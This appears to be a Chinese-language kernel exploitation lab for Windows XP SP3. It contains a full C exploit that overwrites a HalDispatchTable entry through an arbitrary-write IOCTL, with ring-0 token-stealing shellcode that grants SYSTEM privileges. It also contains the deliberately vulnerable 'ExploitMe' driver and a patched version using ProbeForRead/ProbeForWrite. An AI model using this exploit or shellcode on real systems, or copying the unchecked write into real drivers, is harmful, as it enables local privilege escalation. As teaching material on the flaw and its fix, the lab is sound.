实验环境 xp sp3
此实验将一个不常用的内核函数置0,然后R3申请了0地址的指针,将shellcode拷到此内存,内核并没有做ProbeForRead /Write检查
直接对传入的数据进行了修改,造成了任意地址写任意数据漏洞 ,提权了R3程序为system权限
R3代码
主要获得一个函数的地址,将函数地址传入R0
R0将此函数地址置0,然后R3申请了一个0地址,将shellcode拷到了申请的内存中,然后调用被置0的函数,触发了shellcode
// exploit.cpp : Defines the entry point for the console application. // #include <stdio.h> #include <stdlib.h> #include <windows.h> #include "ntapi.h" #include <conio.h> #pragma comment(linker,"/defaultlib:ntdll.lib") #define PAGE_SIZE 0x1000 #define OBJ_CASE_INSENSITIVE 0x00000040 #define FILE_OPEN_IF 0x00000003 #define KERNEL_NAME_LENGTH 0x0D #define BUFFER_LENGTH 0x04 //触发漏洞使用的IoControlCode #define IOCTL_METHOD_NEITHER 0x8888A003 int g_uCr0 = 0; int g_isRing0ShellcodeCalled = 0; //Ring0中执行的Shellcode NTSTATUS Ring0ShellCode( ULONG InformationClass, ULONG BufferSize, PVOID Buffer, PULONG ReturnedLength) { //打开内核写 __asm { cli; mov eax, cr0; mov g_uCr0,eax; and eax,0xFFFEFFFF; mov cr0, eax; } //USEFULL FOR XP SP3 __asm { //KPCR //由于Windows需要支持多个CPU, 因此Windows内核中为此定义了一套以处理器控制区(Processor Control Region) //即KPCR为枢纽的数据结构, 使每个CPU都有个KPCR. 其中KPCR这个结构中有一个域KPRCB(Kernel Processor Control Block)结构, //这个结构扩展了KPCR. 这两个结构用来保存与线程切换相关的全局信息. //通常fs段寄存器在内核模式下指向KPCR, 用户模式下指向TEB. //http://blog.csdn.net/hu3167343/article/details/7612595 //http://huaidan.org/archives/2081.html mov eax, 0xffdff124 //KPCR这个结构是一个相当稳定的结构,我们甚至可以从内存[0FFDFF124h]获取当前线程的ETHREAD指针。 mov eax,[eax] //PETHREAD mov esi,[eax+0x220] //PEPROCESS mov eax, esi searchXp: mov eax,[eax+0x88] //NEXT EPROCESS sub eax,0x88 mov edx,[eax+0x84] //PID cmp edx,0x4 //SYSTEM PID jne searchXp mov eax, [eax+0xc8] //SYSTEM TOKEN mov [esi+0xc8],eax //CURRENT PROCESS TOKEN } //关闭内核写 __asm { sti; mov eax, g_uCr0; mov cr0,eax; } g_isRing0ShellcodeCalled = 1; return 0; } //申请内存的函数 PVOID MyAllocateMemory(IN ULONG Length) { NTSTATUS NtStatus; PVOID BaseAddress = NULL; NtStatus = NtAllocateVirtualMemory( NtCurrentProcess(), &BaseAddress, 0, &Length, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); if(NtStatus == STATUS_SUCCESS) { RtlZeroMemory(BaseAddress, Length); return BaseAddress; } return NULL; } //释放内存的函数 VOID MyFreeMemory(IN PVOID BaseAddress) { NTSTATUS NtStatus; ULONG FreeSize = 0; NtStatus = NtFreeVirtualMemory( NtCurrentProcess(), &BaseAddress, &FreeSize, MEM_RELEASE); } //main函数 int main(int argc, char* argv[]) { NTSTATUS NtStatus; HANDLE DeviceHandle=NULL; ULONG ReturnLength = 0; ULONG ImageBase; PVOID MappedBase=NULL; UCHAR ImageName[KERNEL_NAME_LENGTH]; ULONG DllCharacteristics = DONT_RESOLVE_DLL_REFERENCES; PVOID HalDispatchTable; PVOID xHalQuerySystemInformation; ULONG ShellCodeSize = PAGE_SIZE; PVOID ShellCodeAddress; PVOID BaseAddress = NULL; UNICODE_STRING DeviceName; UNICODE_STRING DllName; ANSI_STRING ProcedureName; OBJECT_ATTRIBUTES ObjectAttributes; IO_STATUS_BLOCK IoStatusBlock; SYSTEM_MODULE_INFORMATION *ModuleInformation = NULL; LARGE_INTEGER Interval; ULONG InputData=0; //清空控制台屏幕 system("cls"); //printf("Please press any key to exploit"); //getch(); //从line 139-->line 214都是在获取内核函数xHalQuerySystemInformation的内存地址 //获取内核模块列表数据长度到ReturnLength NtStatus = NtQuerySystemInformation( SystemModuleInformation, ModuleInformation, ReturnLength, &ReturnLength); if(NtStatus != STATUS_INFO_LENGTH_MISMATCH) { printf("NtQuerySystemInformation get len failed! NtStatus=%.8X\n", NtStatus); goto ret; } //申请内存 ReturnLength = (ReturnLength & 0xFFFFF000) + PAGE_SIZE * sizeof(ULONG); ModuleInformation = (SYSTEM_MODULE_INFORMATION *)MyAllocateMemory(ReturnLength); if(ModuleInformation==NULL) { printf("MyAllocateMemory failed! Length=%.8X\n", ReturnLength); goto ret; } //获取内核模块列表数据 NtStatus = NtQuerySystemInformation( SystemModuleInformation, ModuleInformation, ReturnLength, NULL); if(NtStatus != STATUS_SUCCESS) { printf("NtQuerySystemInformation get info failed! NtStatus=%.8X\n", NtStatus); goto ret; } //保存内核第一个模块(即nt模块)基址和名称,并打印 ImageBase = (ULONG)(ModuleInformation->Module[0].Base); RtlMoveMemory( ImageName, (PVOID)(ModuleInformation->Module[0].ImageName + ModuleInformation->Module[0].PathLength), KERNEL_NAME_LENGTH); printf("ImageBase=0x%.8X ImageName=%s\n",ImageBase, ImageName); //获取内核模块名称字符串的Unicode字符串 RtlCreateUnicodeStringFromAsciiz(&DllName, (PUCHAR)ImageName); //加载内核模块到本进程空间 NtStatus = LdrLoadDll( NULL, // DllPath &DllCharacteristics, // DllCharacteristics &DllName, // DllName &MappedBase); // DllHandle if(NtStatus) { printf("LdrLoadDll failed! NtStatus=%.8X\n", NtStatus); goto ret; } //获取内核模块在本进程空间中导出名称HalDispatchTable的地址 RtlInitAnsiString(&ProcedureName, (PUCHAR)"HalDispatchTable"); NtStatus = LdrGetProcedureAddress( (PVOID)MappedBase, // DllHandle &ProcedureName, // ProcedureName 0, // ProcedureNumber OPTIONAL (PVOID*)&HalDispatchTable); // ProcedureAddress if(NtStatus) { printf("LdrGetProcedureAddress failed! NtStatus=%.8X\n", NtStatus); goto ret; } //计算实际的HalDispatchTable内核地址 HalDispatchTable = (PVOID)((ULONG)HalDispatchTable - (ULONG)MappedBase); HalDispatchTable = (PVOID)((ULONG)HalDispatchTable + (ULONG)ImageBase); //HalDispatchTable中的第二个ULONG就是HalQuerySystemInformation函数的地址 xHalQuerySystemInformation = (PVOID)((ULONG)HalDispatchTable + sizeof(ULONG)); //打印HalDispatchTable内核地址和xHalQuerySystemInformation值 printf("HalDispatchTable=%p xHalQuerySystemInformation=%p\n", HalDispatchTable, xHalQuerySystemInformation); //设备名称的Unicode字符串 RtlInitUnicodeString(&DeviceName, L"\\Device\\ExploitMe"); //打开ExploitMe设备 ObjectAttributes.Length = sizeof(OBJECT_ATTRIBUTES); ObjectAttributes.RootDirectory = 0; ObjectAttributes.ObjectName = &DeviceName; ObjectAttributes.Attributes = OBJ_CASE_INSENSITIVE; ObjectAttributes.SecurityDescriptor = NULL; ObjectAttributes.SecurityQualityOfService = NULL; NtStatus = NtCreateFile( &DeviceHandle, // FileHandle FILE_READ_DATA | FILE_WRITE_DATA, // DesiredAccess &ObjectAttributes, // ObjectAttributes &IoStatusBlock, // IoStatusBlock NULL, // AllocationSize OPTIONAL 0, // FileAttributes FILE_SHARE_READ | FILE_SHARE_WRITE, // ShareAccess FILE_OPEN_IF, // CreateDisposition 0, // CreateOptions NULL, // EaBuffer OPTIONAL 0); // EaLength if(NtStatus) { printf("NtCreateFile failed! NtStatus=%.8X\n", NtStatus); goto ret; } //利用漏洞将HalQuerySystemInformation函数地址改为0 InputData = 0; NtStatus = NtDeviceIoControlFile( DeviceHandle, // FileHandle NULL, // Event NULL, // ApcRoutine NULL, // ApcContext &IoStatusBlock, // IoStatusBlock IOCTL_METHOD_NEITHER, // IoControlCode &InputData, // InputBuffer--->任意数据(0) BUFFER_LENGTH, // InputBufferLength xHalQuerySystemInformation, // OutputBuffer-->任意地址 BUFFER_LENGTH); // OutBufferLength if(NtStatus) { printf("NtDeviceIoControlFile failed! NtStatus=%.8X\n", NtStatus); goto ret; } //在本进程空间申请0地址内存 ShellCodeAddress = (PVOID)sizeof(ULONG);//4 NtStatus = NtAllocateVirtualMemory( NtCurrentProcess(), // ProcessHandle &ShellCodeAddress, // BaseAddress 4 0, // ZeroBits &ShellCodeSize, // AllocationSize MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN, // AllocationType PAGE_EXECUTE_READWRITE); // Protect可执行,可读可写 if(NtStatus) { printf("NtAllocateVirtualMemory failed! NtStatus=%.8X\n", NtStatus); goto ret; } printf("NtAllocateVirtualMemory succeed! ShellCodeAddress=%p\n", ShellCodeAddress); //复制Ring0ShellCode到0地址内存中 RtlMoveMemory( ShellCodeAddress, (PVOID)Ring0ShellCode, ShellCodeSize); //触发漏洞 NtStatus = NtQueryIntervalProfile( ProfileTotalIssues, // Source NULL); // Interval if(NtStatus) { printf("NtQueryIntervalProfile failed! NtStatus=%.8X\n", NtStatus); goto ret; } printf("NtQueryIntervalProfile succeed!\n"); ret: if(g_isRing0ShellcodeCalled) { printf("exploit done success!\n"); } else { printf("exploit failed\n"); } system("pause"); //释放申请的内存 if (ModuleInformation) { MyFreeMemory(ModuleInformation); } //卸载本进程中的内核模块 if (MappedBase) { LdrUnloadDll((PVOID)MappedBase); } //关闭句柄 if(DeviceHandle) { NtStatus = NtClose(DeviceHandle); if(NtStatus) { printf("NtClose failed! NtStatus=%.8X\n", NtStatus); } } return 0; }
/******************************************************************** created: 2010/12/06 filename: D:\0day\ExploitMe\exploitme.c author: shineast purpose: Exploit me driver demo *********************************************************************/ #include <ntddk.h> #define DEVICE_NAME L"\\Device\\ExploitMe" #define DEVICE_LINK L"\\DosDevices\\DRIECTX1" #define FILE_DEVICE_EXPLOIT_ME 0x00008888 #define IOCTL_EXPLOIT_ME (ULONG)CTL_CODE(FILE_DEVICE_EXPLOIT_ME,0x800,METHOD_NEITHER,FILE_WRITE_ACCESS) //创建的设备对象指针 PDEVICE_OBJECT g_DeviceObject; /********************************************************************** 驱动派遣例程函数 输入:驱动对象的指针,Irp指针 输出:NTSTATUS类型的结果 **********************************************************************/ NTSTATUS DrvDispatch(IN PDEVICE_OBJECT driverObject,IN PIRP pIrp) { PIO_STACK_LOCATION pIrpStack;//当前的pIrp栈 PVOID Type3InputBuffer;//用户态输入地址 PVOID UserBuffer;//用户态输出地址 ULONG inputBufferLength;//输入缓冲区的大小 ULONG outputBufferLength;//输出缓冲区的大小 ULONG ioControlCode;//DeviceIoControl的控制号 PIO_STATUS_BLOCK IoStatus;//pIrp的IO状态指针 NTSTATUS ntStatus=STATUS_SUCCESS;//函数返回值 //获取数据 pIrpStack = IoGetCurrentIrpStackLocation(pIrp); Type3InputBuffer = pIrpStack->Parameters.DeviceIoControl.Type3InputBuffer; UserBuffer = pIrp->UserBuffer; inputBufferLength = pIrpStack->Parameters.DeviceIoControl.InputBufferLength; outputBufferLength = pIrpStack->Parameters.DeviceIoControl.OutputBufferLength; ioControlCode = pIrpStack->Parameters.DeviceIoControl.IoControlCode; IoStatus=&pIrp->IoStatus; IoStatus->Status = STATUS_SUCCESS;// Assume success IoStatus->Information = 0;// Assume nothing returned //根据 ioControlCode 完成对应的任务 switch(ioControlCode) { case IOCTL_EXPLOIT_ME: if ( inputBufferLength >= 4 && outputBufferLength >= 4 ) { *(ULONG *)UserBuffer = *(ULONG *)Type3InputBuffer;//本地提权 //任意地址写任意数据 //少调用的 //*(ULONG*)(Type3InputBuffer) = 0; //任意地址写固定数据 //*(ULONG/)(UserBuffer) = 0; IoStatus->Information = sizeof(ULONG); } break; } //返回 IoStatus->Status = ntStatus; IoCompleteRequest(pIrp,IO_NO_INCREMENT); return ntStatus; } /********************************************************************** 驱动卸载函数 输入:驱动对象的指针 输出:无 **********************************************************************/ VOID DriverUnload( IN PDRIVER_OBJECT driverObject ) { UNICODE_STRING symLinkName; KdPrint(("DriverUnload: 88!\n")); RtlInitUnicodeString(&symLinkName,DEVICE_LINK); IoDeleteSymbolicLink(&symLinkName); IoDeleteDevice( g_DeviceObject ); } /********************************************************************* 驱动入口函数(相当于main函数) 输入:驱动对象的指针,服务程序对应的注册表路径 输出:NTSTATUS类型的结果 **********************************************************************/ NTSTATUS DriverEntry( IN PDRIVER_OBJECT driverObject, IN PUNICODE_STRING registryPath ) { NTSTATUS ntStatus; UNICODE_STRING devName; UNICODE_STRING symLinkName; int i=0; //打印一句调试信息 KdPrint(("DriverEntry: Exploit me driver demo!\n")); //创建设备 RtlInitUnicodeString(&devName,DEVICE_NAME); ntStatus = IoCreateDevice( driverObject, 0, &devName, FILE_DEVICE_UNKNOWN, 0, TRUE, &g_DeviceObject ); if (!NT_SUCCESS(ntStatus)) { return ntStatus; } //创建符号链接 RtlInitUnicodeString(&symLinkName,DEVICE_LINK); ntStatus = IoCreateSymbolicLink( &symLinkName,&devName ); if (!NT_SUCCESS(ntStatus)) { IoDeleteDevice( g_DeviceObject ); return ntStatus; } //设置该驱动对象的卸载函数 driverObject->DriverUnload = DriverUnload; //设置该驱动对象的派遣例程函数 for (i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) { driverObject->MajorFunction[i] = DrvDispatch; } //返回成功结果 return STATUS_SUCCESS; }
修复也很简单,使用异常处理块 + ProbeForRead/Write检测传入的userbuff
/******************************************************************** created: 2010/12/06 filename: D:\0day\ExploitMe\exploitme.c author: shineast purpose: Exploit me driver demo *********************************************************************/ #include <ntddk.h> #define DEVICE_NAME L"\\Device\\ExploitMe" #define DEVICE_LINK L"\\DosDevices\\DRIECTX1" #define FILE_DEVICE_EXPLOIT_ME 0x00008888 #define IOCTL_EXPLOIT_ME (ULONG)CTL_CODE(FILE_DEVICE_EXPLOIT_ME,0x800,METHOD_NEITHER,FILE_WRITE_ACCESS) //创建的设备对象指针 PDEVICE_OBJECT g_DeviceObject; /********************************************************************** 驱动派遣例程函数 输入:驱动对象的指针,Irp指针 输出:NTSTATUS类型的结果 **********************************************************************/ NTSTATUS DrvDispatch(IN PDEVICE_OBJECT driverObject,IN PIRP pIrp) { PIO_STACK_LOCATION pIrpStack;//当前的pIrp栈 PVOID Type3InputBuffer;//用户态输入地址 PVOID UserBuffer;//用户态输出地址 ULONG inputBufferLength;//输入缓冲区的大小 ULONG outputBufferLength;//输出缓冲区的大小 ULONG ioControlCode;//DeviceIoControl的控制号 PIO_STATUS_BLOCK IoStatus;//pIrp的IO状态指针 NTSTATUS ntStatus=STATUS_SUCCESS;//函数返回值 //获取数据 pIrpStack = IoGetCurrentIrpStackLocation(pIrp); Type3InputBuffer = pIrpStack->Parameters.DeviceIoControl.Type3InputBuffer; UserBuffer = pIrp->UserBuffer; inputBufferLength = pIrpStack->Parameters.DeviceIoControl.InputBufferLength; outputBufferLength = pIrpStack->Parameters.DeviceIoControl.OutputBufferLength; ioControlCode = pIrpStack->Parameters.DeviceIoControl.IoControlCode; IoStatus=&pIrp->IoStatus; IoStatus->Status = STATUS_SUCCESS;// Assume success IoStatus->Information = 0;// Assume nothing returned //根据 ioControlCode 完成对应的任务 switch(ioControlCode) { case IOCTL_EXPLOIT_ME: __try { if ( inputBufferLength >= 4 && outputBufferLength >= 4 ) { //Type3InputBuffer 任意数据 //UserBuffer 任意地址 //当UserBuffer不是用户态地址 ProbeForRead/Write抛出STATUS_ACCESS_VIOLATION异常 ProbeForRead(UserBuffer,sizeof(ULONG),sizeof(ULONG)); ProbeForWrite(UserBuffer,sizeof(ULONG),sizeof(ULONG)); *(ULONG *)UserBuffer = *(ULONG *)Type3InputBuffer; IoStatus->Information = sizeof(ULONG); } } __except(EXCEPTION_EXECUTE_HANDLER) { ntStatus = GetExceptionCode(); IoStatus->Information = sizeof(ULONG); } break; } //返回 IoStatus->Status = ntStatus; IoCompleteRequest(pIrp,IO_NO_INCREMENT); return ntStatus; } /********************************************************************** 驱动卸载函数 输入:驱动对象的指针 输出:无 **********************************************************************/ VOID DriverUnload( IN PDRIVER_OBJECT driverObject ) { UNICODE_STRING symLinkName; KdPrint(("DriverUnload: 88!\n")); RtlInitUnicodeString(&symLinkName,DEVICE_LINK); IoDeleteSymbolicLink(&symLinkName); IoDeleteDevice( g_DeviceObject ); } /********************************************************************* 驱动入口函数(相当于main函数) 输入:驱动对象的指针,服务程序对应的注册表路径 输出:NTSTATUS类型的结果 **********************************************************************/ NTSTATUS DriverEntry( IN PDRIVER_OBJECT driverObject, IN PUNICODE_STRING registryPath ) { NTSTATUS ntStatus; UNICODE_STRING devName; UNICODE_STRING symLinkName; int i=0; //打印一句调试信息 KdPrint(("DriverEntry: Exploit me driver demo!\n")); //创建设备 RtlInitUnicodeString(&devName,DEVICE_NAME); ntStatus = IoCreateDevice( driverObject, 0, &devName, FILE_DEVICE_UNKNOWN, 0, TRUE, &g_DeviceObject ); if (!NT_SUCCESS(ntStatus)) { return ntStatus; } //创建符号链接 RtlInitUnicodeString(&symLinkName,DEVICE_LINK); ntStatus = IoCreateSymbolicLink( &symLinkName,&devName ); if (!NT_SUCCESS(ntStatus)) { IoDeleteDevice( g_DeviceObject ); return ntStatus; } //设置该驱动对象的卸载函数 driverObject->DriverUnload = DriverUnload; //设置该驱动对象的派遣例程函数 for (i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) { driverObject->MajorFunction[i] = DrvDispatch; } //返回成功结果 return STATUS_SUCCESS; }